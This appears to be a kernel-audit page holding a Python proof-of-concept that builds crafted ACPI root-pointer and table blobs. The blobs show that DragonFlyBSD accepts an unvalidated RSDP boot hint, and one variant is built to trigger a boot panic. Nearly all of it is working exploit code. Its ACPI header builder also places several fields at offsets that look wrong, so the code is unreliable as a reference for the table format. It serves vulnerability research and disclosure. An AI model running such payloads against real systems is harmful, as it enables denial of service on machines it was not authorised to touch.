⬢ DragonFlyBSD Kernel Audit
DF-5588 / gen_rsdp_inject.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
gen_rsdp_inject.py -- DF-5588 pass-2 PoC: the kenv RSDP acceptance probe
for sys/platform/pc64/acpica/acpi_sdt.c.

sdt_probe() (acpi_sdt.c:71-77) accepts hint.acpi.0.rsdp UNVALIDATED:
no "RSD PTR " signature check, no checksum, no Length/Revision sanity,
no address sanity.  The 36 bytes at the hinted physical address are
consumed directly as an ACPI_TABLE_RSDP (acpi_sdt.c:109-115) and the
firmware-table walk (sdt_search_rsdt/xsdt) is pointed wherever those
bytes say.

This builder emits RSDP->RSDT->MADT chains in which the RSDP signature
(and v1 checksum) are deliberately INVALID, to prove acceptance:

  valid_control    proper "RSD PTR " RSDP + control MADT (BSP+2AP+IOAPIC)
                   -> baseline: rig works, kernel boots on crafted tables
  nosig_control    INVALID signature (0xdeadbeefdeadbeef), WRONG checksum
                   + same control MADT -> if the kernel still comes up on
                   the crafted 3-CPU MADT, the RSDP was accepted with zero
                   validation (acpi_sdt.c:71-77 is the only gate)
  nosig_bsp_omit   INVALID signature + DF-5430's bsp_omit MADT
                   -> the proven madt_lapic_pass2 KKASSERT(arg.bsp_found)
                   boot panic becomes reachable through a completely
                   invalid root pointer: the whole crafted-table family
                   (DF-5430..5433, DF-5583) hangs off this acceptance.

Blob layout (relative to the planted base, default 0x40000000):
  +0x0000  RSDP (rev 0 -> RSDT path; RsdtPhysicalAddress = base+0x100)
  +0x0100  RSDT  (1 entry -> MADT at base+0x200)
  +0x0200  MADT  (LocalApicAddress = 0xFEE00000 real KVM LAPIC)
"""
import struct
import sys

BASE = 0x40000000
RSDP_OFF, RSDT_OFF, MADT_OFF = 0x0, 0x100, 0x200

# struct acpi_table_header: sig[4] len u8 rev u8 cks oem[6] oemtbl[8] rev u32
# compiler[4] rev u32  == 36 bytes
def sdth(sig, length, rev):
    h = bytearray(36)
    h[0:4] = sig
    struct.pack_into('<I', h, 4, length)
    h[8] = rev
    h[9] = 0                    # checksum patched by caller
    h[10:16] = b'DFBSD '
    h[17:21] = b'P558'          # OEM table id marker for the crafted chain
    struct.pack_into('<I', h, 21, 1)
    h[25:29] = b'IACT'
    struct.pack_into('<I', h, 29, 1)
    return h

def lapic(pid, apic_id, enabled=True):
    return struct.pack('<BBBBI', 0, 8, pid, apic_id, 1 if enabled else 0)

def ioapic(apic_id, addr, gsi_base):
    return struct.pack('<BBBBII', 1, 12, apic_id, 0, addr, gsi_base)

def csum(b):
    return (-sum(b)) & 0xFF

def build(scenario):
    if scenario.endswith('control'):
        entries = lapic(0, 0) + lapic(1, 1) + lapic(2, 2)   # BSP + 2 APs
        entries += ioapic(0, 0xFEC00000, 0)                 # real QEMU IOAPIC
    elif scenario.endswith('bsp_omit'):
        # enabled non-BSP CPUs only; KVM hardware BSP APIC id is 0
        entries = lapic(1, 1) + lapic(2, 2)
    else:
        raise SystemExit('unknown scenario ' + scenario)

    madt_len = 44 + len(entries)
    madt = sdth(b'APIC', madt_len, 3) + bytearray(8)
    struct.pack_into('<I', madt, 36, 0xFEE00000)   # Local Apic Address
    struct.pack_into('<I', madt, 40, 1)            # PCAT_COMPAT flags
    madt += entries
    madt[9] = csum(madt)

    rsdt_len = 36 + 4
    rsdt = sdth(b'RSDT', rsdt_len, 1) + bytearray(4)
    struct.pack_into('<I', rsdt, 36, BASE + MADT_OFF)
    rsdt[9] = csum(rsdt)

    # ---- the RSDP under test --------------------------------------------
    if scenario.startswith('valid'):
        sig = b'RSD PTR '       # genuine 8-byte signature
        v1cks = 0               # DF-1114: never checked anyway
    elif scenario.startswith('nosig'):
        sig = b'\xde\xad\xbe\xef\xde\xad\xbe\xef'   # INVALID signature
        v1cks = 0xAA            # deliberately WRONG checksum
    else:
        raise SystemExit('unknown scenario ' + scenario)

    rsdp = bytearray(24)
    rsdp[0:8] = sig
    rsdp[8] = v1cks
    rsdp[9:15] = b'X5588 '      # garbage OEM id
    rsdp[15] = 0                # Revision 0 -> RSDT path (acpi_sdt.c:109-111)
    struct.pack_into('<I', rsdp, 16, BASE + RSDT_OFF)
    struct.pack_into('<I', rsdp, 20, 20)

    blob = bytearray(0x300)
    blob[RSDP_OFF:RSDP_OFF + len(rsdp)] = rsdp
    blob[RSDT_OFF:RSDT_OFF + len(rsdt)] = rsdt
    blob[MADT_OFF:MADT_OFF + len(madt)] = madt
    return bytes(blob)

if __name__ == '__main__':
    scen, out = sys.argv[1], sys.argv[2]
    data = build(scen)
    with open(out, 'wb') as f:
        f.write(data)
    sys.stderr.write('%s: %d bytes -> %s\n' % (scen, len(data), out))